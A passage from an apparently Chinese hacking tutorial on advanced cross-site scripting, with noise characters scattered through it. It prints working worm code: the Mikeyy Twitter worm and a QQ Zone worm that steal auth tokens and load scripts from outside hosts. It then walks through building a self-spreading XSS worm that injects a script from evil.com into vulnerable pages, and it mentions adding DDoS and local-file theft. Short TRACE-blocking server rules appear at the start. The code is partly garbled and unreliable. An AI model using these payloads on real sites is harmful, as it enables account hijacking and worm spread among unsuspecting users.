......................

& ?3 I% x0 G" B' C( h5 r</script>
; t# h) U2 n4 U) R
7 m' ^5 x6 u3 ?  O
$ p" \/ U& [3 I8 A1 g; T* U

8 [; P; m  J9 L7 X1 s
  @, n, C$ Z, E2 g9 A$ m2 w4 C如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

[code]
: i) t$ V  @. ~2 {. u9 v6 |
6 ?0 x' W  g5 ERewriteEngine On
. w: |6 `( E* a4 j4 p
7 I5 \9 j7 D9 {7 d1 d3 mRewriteCond %{REQUEST_METHOD} ^TRACE

RewriteRule .* - [F]
- C" C1 X& c0 _2 p& H
# s* z8 e; S, _# \6 L, {2 N0 O7 z8 a7 y
1 ^# p; I8 ?4 x/ m
0 D" I; }+ o$ \2 \- F7 W5 S5 G* bSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

8 P: u4 U6 N! f; V: A- k* M. Q8 Hacl TRACE method TRACE
& [; p) @% r5 a- W& V
" c; t  A3 k0 B) ^: f...

http_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
* e5 h9 ?- M& k1 o! g
$ Y3 u2 r$ u' \% T- M( h- m8 Yvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

- l& G: i6 B& u2 \' Z# a: YXmlHttp.open("GET","http://www.google.com",false);
: s9 a  M/ ?2 O. l7 W7 \+ u# W$ @
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

( ~% W) d- b$ ?9 H) s  }. i5 OXmlHttp.send(null);

8 A4 `1 d3 e5 t+ J2 N- I/ @</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
8 w# n! q, g& k' @
; V7 K9 q" a) J; k  [var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");



XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
/ Z+ l1 I3 f% B7 U$ [& h1 P" V
XmlHttp.send(null);

' _- k% [2 c3 a' W8 X# K<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
4 @. J6 a* [9 V2 G- h& Y5 x3 l% C0 d第一版:
) k/ a- k* w/ p% ~  下载 (5.1 KB)

6 天前 08:27
8 u& q, R3 `$ e* N; N9 I9 d
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

   2.   
1 w( `4 J7 |  P' s% a7 f( Z" V
. |# n* h! o3 i2 S9 F1 q   3. function XHConn(){  
1 ]1 \# Y. ~3 f6 }& K; c
4 U0 ~% o( l7 f3 u- y( o   4.   var _0x6687x2,_0x6687x3=false;  
! ]. r$ p+ ?% Z% w* K7 Y% W4 g
   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

( B* ^& i5 a: s) L5 k; _9 i   8.   catch(e) { _0x6687x2=false; }; }; };  
. p% m: }) S, @( n: \* G复制代码第六版:   1. function wait() {  
1 j# s5 ~# g" b  X& J3 A
- Z4 C- I& x4 D3 Y3 Z" A* @) n   2.   var content = document.documentElement.innerHTML;  
8 @) X7 f) d* r8 y
   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
6 D, Q' Z4 Y4 ^- F
8 H# x! ^; H) w5 G   6.   var authtoken=authreg.exec(content);  

   7.   var authtoken=authtoken[1];  

  Z5 m& ~. K% i$ ?9 X+ t( s   8.   var randomUpdate= new Array();  
9 f* t& \) P/ X+ p: C
   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
. X0 ^: a( u0 V, Y! t$ n
' Y1 `1 B  K5 P1 V7 ^8 a  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
: n. d) A& o, f( J- w+ s9 {
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
2 Z3 X$ |/ o) L5 w- k6 x
2 A4 a; q8 E. \* C) h  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

. A+ Z- {* x: q% d  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
# w8 [5 o  l3 O9 {' [2 _2 w# a- L
" u8 S1 w1 L8 i: X5 R: n  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
* I: x1 ^6 @( w5 C; ?
- Y- m7 L. e8 U" Z9 a( R  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

' N( C9 I3 Z2 b5 i1 x) v& z. G  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

8 G; f' r" K1 g- V+ t; _  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
6 z1 j2 O$ l; Q3 Z& m/ r
  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

8 S9 O/ n5 c" m( q  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

  24.     
& f8 ^" v7 ~0 n8 v
2 d# o+ N7 E" _* b  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     
6 L3 ]/ }1 Z! _' a. }( t6 f0 i! p
  28.   var ajaxConn= new XHConn();  

9 z2 X( E- n$ s7 _( o$ q  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

6 q1 w8 L$ D1 J) \$ `  d# B  30.   var _0xf81bx1c="Mikeyy";  

: ~1 p6 n! O2 D. Y( Y  31.   var updateEncode=urlencode(_0xf81bx1c);  
& ]- m# D( W4 ^0 g/ D6 G" t  p
3 e- L! U" V4 m' a3 E5 H# E" x  32.   var ajaxConn1= new XHConn();  

# P8 d- K8 r# T6 c/ o, T  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

9 P+ U, g5 b# f: }+ D+ G4 x  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

  35.   var XSS=urlencode(genXSS);  

7 x& Z' M' I! E! w! {  36.   var ajaxConn2= new XHConn();  
+ m% [( ]0 p4 Q4 O" C
* G, v( ?& }, x# Y, M' k% Q2 V  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

; @  U; D# _7 U$ O. c# n+ I  38.     

  39. } ;  

7 ~8 ~) i+ s3 _& ?8 J  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
) s9 G, T+ L4 @9 l
6 P* H# S; `/ M" a" K4 twindow.onerror=killErrors;
* x! {3 H/ o# u4 K2 u) X  S


var shendu;shendu=4;

+ G8 m. Z" A7 u0 ~/ X8 \. V//---------------global---v------------------------------------------

* E" H2 p( S0 [( _% T8 G& `//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
; L) W& e- F) E4 J3 ~) m; q$ o
/ T* E" E" i! q% n9 qvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

. ~% u4 `% q+ h: q: y; }$ evar myblogurl=new Array();var myblogid=new Array();

        var gurl=document.location.href;
& t3 d' a7 _3 N7 \" v- n) s" a
        var gurle=gurl.indexOf("com/");

$ H' \+ ~+ U  N# U- x" t3 F        gurl=gurl.substring(0,gurle+3);        
- V& z: c) ?, C3 @5 E
: v* V- e; o! Y' r; M! O4 C        var visitorID=top.document.documentElement.outerHTML;
6 ?( D) a8 }. v$ E. J- r; _
           var cookieS=visitorID.indexOf("g_iLoginUin = ");

! L- b0 D) x% h        visitorID=visitorID.substring(cookieS+14);

        cookieS=visitorID.indexOf(",");
# s) G6 m) y( y9 q% T0 s
        visitorID=visitorID.substring(0,cookieS);

' z$ V4 ~; U' h8 l& ^, E        get_my_blog(visitorID);

        DOshuamy();
3 b* w0 h1 T1 K6 h+ V3 _
, D* `1 @- K5 V3 ^2 B- Z& u
! o% z$ Z: h2 c# ?8 i6 |$ l8 {
//挂马

function DOshuamy(){
. d$ K8 w) l$ A: H$ d" ~9 H8 l7 H
9 |+ G5 V/ `1 k5 m7 q+ E5 @var ssr=document.getElementById("veryTitle");

: L* {3 S$ K7 L5 P# U: C4 ~ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
7 F& }, A1 Z/ f  j
}
! Z& ^2 Z& {  Z% h; c

$ S9 O' X" D! M' J8 X
- R3 g! k/ B* i& e5 m//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

( C, g8 B& e+ u- n  E8 j4 i' kfunction get_my_blog(visitorID){
/ x& w- l+ o" m5 A
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的
3 ~* D* `% |, e
     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

* X) |* c$ @' R/ K; ?( y     xhr.send();guest=xhr.responseText;
, m" y3 L6 n- M% |% @/ O
     get_my_blogurl(guest);    //执行这个函数
- ~  w$ k3 L4 N7 g. {; A- U3 d6 j
7 A- D% }. }2 W! K# l    }
7 E* Y% n. A: x
}



# k8 b) O0 H2 S) l. K8 C" N6 G8 ]3 q//这里似乎是判断没有登录的
8 s, a( c, E( v, @' q
' {0 `: P/ E3 r6 E* `- Lfunction get_my_blogurl(guest){
+ c9 x7 }/ Q* |  q+ H" J
  P  C1 V) U* A6 \$ |% N  var mybloglist=guest;
. p, M; e3 A4 T, l
' s' O6 Z# N% ~5 p! ~4 Z8 w  var myurls;var blogids;var blogide;
. Z) K3 I) T7 Z6 b2 f
  for(i=0;i<shendu;i++){
! M/ p0 f! r2 M
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

     if(myurls!=-1){    //找到了就执行下面的
" T  j- n/ G. ^+ M+ h+ }6 I
         mybloglist=mybloglist.substring(myurls+11);
( g7 n" }- r  p  ?& @
         myurls=mybloglist.indexOf(')');

# \3 }% T" [; _6 g; S, ]0 K         myblogid=mybloglist.substring(0,myurls);
, I6 U0 l; r5 X1 r& [
- C) Y7 X4 E; S/ T# F7 w1 l        }else{break;}
+ f6 G# H' j; v
4 {- }/ v! \1 }6 ?}
2 W6 V; F7 K* _* G, ~1 S
get_my_testself();    //执行这个函数

, K9 R7 S& m3 I}

( o4 V$ U2 H. m* E* N

//这里往哪跳就不知道了

function get_my_testself(){

' M0 u2 e9 O8 u1 m4 b  for(i=0;i<myblogid.length;i++){    //获得blogid的值

4 P, s. B! o& n/ d" P0 G      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
! y3 u  V; A: Y' h+ C
      if(xhr2){        //如果成功

              xhr2.open("GET",url,false);     //打开上面的那个url
& D# a. A) F% x
              xhr2.send();

! J. d7 {" a0 @; k/ M- R              guest2=xhr2.responseText;
- ^8 M' T' z+ S7 o
              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

; G; H- d" |5 Y0 l: p9 w              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
$ t+ Z0 G0 C+ d8 G. j* f. n
, ^# S3 U( {. }              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   
' ~  ^# B9 G% H7 W4 G6 E# X
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

                break;
& u2 p/ f/ _. f4 V
# B3 L8 s; N# r" M) P' |               }
/ p1 B4 G# u8 ?7 I# c- u8 Y
( y9 e" S* _! }  a& }2 U# v* g              if(mycheckit=="-1"){
( ]8 i! N5 G/ ?% p  E, G! ~
# v# }5 f# ~$ H                targetblogurlid=myblogid;

                add_js(visitorID,targetblogurlid,gurl);    //执行它
3 u# g3 @( q1 |% J+ T
                break;

               }
# L$ x% m: a7 J  U
        }      
) n3 T& {+ C" L; p4 T$ F$ p
}
- W3 b7 `- X) |( |/ ~
}



//--------------------------------------  

//根据浏览器创建一个XMLHttpRequest对象

: t/ i) Z: H8 Wfunction createXMLHttpRequest(){
5 [! N* `( B* j0 ^' Z
    var XMLhttpObject=null;  

1 b, K' G% ?. n8 q# S% b9 A$ z& R% Q    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

    else  

      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
; n1 d' t2 ?( A! g- W$ L
        for(var i=0;i<MSXML.length;i++)  

        {  
. H! w. d9 v% f' W& Z% s. N9 K
            try  
/ p) v; [3 L2 @( C" M4 ?$ D
) p& _) ]) [1 M, e5 l. `. F2 n( V            {  

                XMLhttpObject=new ActiveXObject(MSXML);  

# _/ o$ s5 e& u0 ~                break;  
& b6 u2 H+ Q- P& N' y$ ~! i& q
. |2 y& |' O8 e5 t- p! u) x* \" `            }  
) W9 X# e$ E9 }9 A% ~
            catch (ex) {  
9 t4 _1 {+ f' ?2 ?$ S
. ?3 g, r0 _: q% G, k: s, j            }  
  F* F9 Q! I- h  U5 L( |
6 Q! U& N' }& ^, b4 f) K         }  
: w1 B8 ~' G" X
      }
3 L. I" g+ s( ]
return XMLhttpObject;
' }* m' c1 G' L  A! @5 @
- G9 B7 Y+ _+ o% x5 g2 ^}  
* q& M! P" y3 ~3 h/ a+ s+ |
2 Z9 n4 [4 w2 q( f6 K  w
% W' ~3 k5 q2 Q8 z
//这里就是感染部分了

7 q- O$ R' ?( \8 N# q4 mfunction add_js(visitorID,targetblogurlid,gurl){
# N" C2 @: V& w4 A0 E
. X. M- O% D( Z4 S2 J& Y5 @var s2=document.createElement('script');

4 ^, M5 r+ Y1 h5 P3 J. Fs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
* V1 v0 q5 O2 q5 M8 ~4 B
}
4 J! e9 z1 f- V- Z4 [9 t5 g0 Z

( m* a6 u7 r# x' l
function add_jsdel(visitorID,targetblogurlid,gurl){
3 G( o8 k9 m% _/ W3 B
% O- I( L" {( W8 |8 Ivar s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

2 U( V) \( H5 \: Ys2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
% n( ?- I% D9 P
}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
& m" K' Q3 s  G4 ]+ v9 I7 r
/ O. q* o, J; m; r! L2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

9 x( {; }1 R: ?6 V5 |5 M综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
# t# _+ b5 ~6 d2 {1 E. X8 n5 P
, r) I4 E5 u1 C% Q  u
' d2 }. C- t2 ]& J# E$ Z下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {

request = new XMLHttpRequest();

8 L1 V4 B' G" d) m, a, yif(request.overrideMimeType) {
- D6 }7 }3 C, g& o
; p: L1 q4 t$ l$ x: F* srequest.overrideMimeType('text/xml');
0 Q! s$ e; U* i" H8 Y
  E1 L$ Y+ p2 x}
% a# L8 G% L9 @( H3 O( l
} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
8 o/ Y9 q* M) M9 K7 f  _# b
' d/ l! _& Y- {/ Q; nfor(var i=0; i<versions.length; i++) {
  b  Y8 o: ^% r- c
, i( R$ z7 ?- {. w) O* w) Ptry {
$ J7 q; ~- l+ t
request = new ActiveXObject(versions);

} catch(e) {}

7 E- t7 m4 w" p5 G+ x) a}

9 J, [3 q/ p$ Y; V! l: R* L8 u}
2 K, D5 B- D" p3 F6 n! s& b2 B
! q3 g9 i# A, A5 _xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;
) f. g3 Q) _3 }& a
        var Browser_Version=parseFloat(navigator.appVersion);

7 Q* L& c( k+ W. f) k7 q6 g# I% i        var Browser_Agent=navigator.userAgent;
. S' m4 F4 S$ F2 v7 F; F
        
( ~( H7 G' G7 i+ i
        var Actual_Version,Actual_Name;

        

$ X- {2 ^7 h; P4 w; G        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
: H2 d/ O1 L+ {* H
- \3 r6 F5 @; W) M        var is_NN=(Browser_Name=="Netscape");
9 ?& I* ^7 a0 |7 z5 D; n. p% x
        var is_Ch=(Browser_Name=="Chrome");
8 B# G# ?4 ]0 N  j
9 i$ F7 m4 a. }! R: V% W* R        

1 p. S0 K* s6 k/ L) B& r        if(is_NN){
7 o; C3 ]9 B" V/ s
            if(Browser_Version>=5.0){

1 p) v: T# e1 |6 L& n" J# @                var Split_Sign=Browser_Agent.lastIndexOf("/");

5 {" }( `# }# H                var Version=Browser_Agent.indexOf(" ",Split_Sign);
& X8 K. |+ W4 Y5 R' M; ?  Z( C
                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
5 c; t3 Y2 G& L/ ?2 i5 I

( ?1 c( |) b: o$ d/ [
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
8 A( h, U8 O0 d4 k
* h% U% d" P* X1 `) n                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

2 Q7 y( i0 U# s1 Z' n0 Y1 \            }
1 Z+ X: m1 m' E  J" T' J
  O+ |5 e+ O0 {' {" J0 H            else{

                Actual_Version=Browser_Version;
1 V' S5 c, V( u$ s5 ^
, v  ]  Z! R% q8 J                Actual_Name=Browser_Name;
! |/ U% @' \" b7 x2 `! W
            }

% x& h- s7 c4 o        }

1 v/ K1 z* i- i6 d& w        else if(is_IE){
! n& Z8 ?  o( T( z0 z% n) b0 P- d% l. a
' M5 v' n: S: P* g7 G) A            var Version_Start=Browser_Agent.indexOf("MSIE");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);

" y# e9 \7 ?' z6 t0 M; g            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
' }7 m3 |# B' S. w, y$ [0 E9 e" [
            Actual_Name=Browser_Name;

5 @0 L- i# u* I            
9 b6 E4 C# X# A5 p0 ~$ R
            if(Browser_Agent.indexOf("Maxthon")!=-1){

& l( A# ~8 K# g: f" }1 P4 \                Actual_Name+="(Maxthon)";

            }
, t: M* K9 b2 j2 T+ z
            else if(Browser_Agent.indexOf("Opera")!=-1){

  m( Q% P! ~7 _# [( v* c                Actual_Name="Opera";
  P  i2 [( s" _4 f6 {% a/ v6 D
6 o9 m6 o0 r9 b& o6 p                var tempstart=Browser_Agent.indexOf("Opera");
$ _( q" t  T. t! C8 W
                var tempend=Browser_Agent.length;

$ [1 q6 k2 N% r3 J0 o, C                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
- Y& s% z* n1 }. [. C
        }
4 P, l' @1 j9 J% w$ x
0 B& S- Q# s4 W        else if(is_Ch){
: P. M6 k9 ], x& j& }& c
! y: w4 `! o4 R2 e* x            var Version_Start=Browser_Agent.indexOf("Chrome");
) d! \& Z4 Y! f0 k8 I
+ {6 p1 O3 |. F3 T1 x# Z            var Version_End=Browser_Agent.indexOf(";",Version_Start);
- ~# o# L4 u4 G1 Q9 D7 ?
, u. ]1 L1 C0 _/ ?0 N            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
0 j: U# X$ E- ~5 g2 W
" _3 w' F9 _8 ?. N            Actual_Name=Browser_Name;
5 g* z0 p) M$ p! I: C' h4 l; M
, v) @2 l- E+ {. b! D! b, m            

* E1 G; M3 f# y( d4 K3 G' h            if(Browser_Agent.indexOf("Maxthon")!=-1){
* j: U! V7 Y' ~
                Actual_Name+="(Maxthon)";

7 }# Q+ ~4 {( `# y3 n" }            }
* P% g" c( r! T1 _& C
5 x' ^3 I0 z- u- W7 N2 m5 C            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";
% n& d7 o+ J* }; @9 F7 s
9 _% n* w- j: q* M. m2 X. h+ X                var tempstart=Browser_Agent.indexOf("Opera");

# N' h. y: D( v, w( S9 l7 P                var tempend=Browser_Agent.length;

, r5 @* y3 v% E7 @' w% [                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

9 ~- H6 x. ~- `        }
8 ]) q7 Y2 a' Y. m' r
: Q7 b( w' T1 O6 x5 b        else{

5 d" J6 ~5 U9 |# d+ y7 V            Actual_Name="Unknown Navigator"

- ~  f6 n: O/ O: C) R0 H8 I            Actual_Version="Unknown Version"
; X) R7 U3 _' `- [1 S  `
6 O0 C4 K3 r& \3 D        }


6 r/ Z2 J3 _9 g& |( p
        navigator.Actual_Name=Actual_Name;
* ]8 z3 E$ r' J% d
& V4 u" V/ K& g- l0 @1 i        navigator.Actual_Version=Actual_Version;

        

        this.Name=Actual_Name;

        this.Version=Actual_Version;
* D% ^4 k" X) ?- ]' {. t
    }
4 G- P5 d: W/ \1 Q7 E
1 \# U5 R, K, a- T% l! f6 j$ p! o+ @    browserinfo();

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
5 z' B1 `# H9 d8 X2 Z1 C2 a
. [2 g1 l3 e/ @% P! X# o- h2 c    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

xmlHttpReq.send(null);

: k) D3 a) T" Q  l, R& Gvar resource = xmlHttpReq.responseText;

1 n- r8 T' A3 o8 g7 K  d. Rvar id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

  ]( i7 |. D/ l8 H# e. ]while ((result = patt.exec(resource)) != null)  {

id++;
0 H  d+ @, J7 {' a: y# Q
$ V+ d7 g) b* p0 ^( u}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
1 H2 X! `1 u1 F6 Q2 z
no=resource.search(/my name is/);

$ ]4 X' P9 O3 s+ fvar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

var post="wd="+wd;
& y5 \. ]9 f; ]- T# H8 ?. J
1 i/ g/ R  w$ E$ a& h7 q. l, \xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
$ I. V9 b+ w4 b; t# l! N
# T" l# f2 z' B( ?  T. r+ p7 Y( bxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

6 |# ^8 q; \' A5 {/ d  s) Z+ bxmlHttpReq.setRequestHeader("content-length",post.length);
0 b1 b! D  o3 Z: N2 I
  ^% r+ }, c/ NxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
, r) t2 o3 A7 C, y# o+ F- t0 |
1 I# m; V/ `6 m9 b. OxmlHttpReq.send(post);

}
% j8 d2 A  W3 O7 {复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

7 q  k2 M" G& k  K: @' Y" _8 T* P# y; Avar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

, u* ?% y9 c* p4 Xvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
$ S3 s9 ^: K: o# B; x0 Z1 X
var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

. h( g  r6 a6 s6 R9 xvar post="wd="+wd;

. P( m# M9 \7 y8 b% ~xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
, Z# E! l6 d7 D1 Y
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
) C0 [. Z) d4 n5 R" j! m$ B& [; j$ G
xmlHttpReq.setRequestHeader("content-length",post.length);
8 w$ V$ B7 ], o; a
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
5 u3 n* T  L# P
- W. W! ~; b4 u) H; o" `xmlHttpReq.send(post);                 //把传播的信息 POST出去.
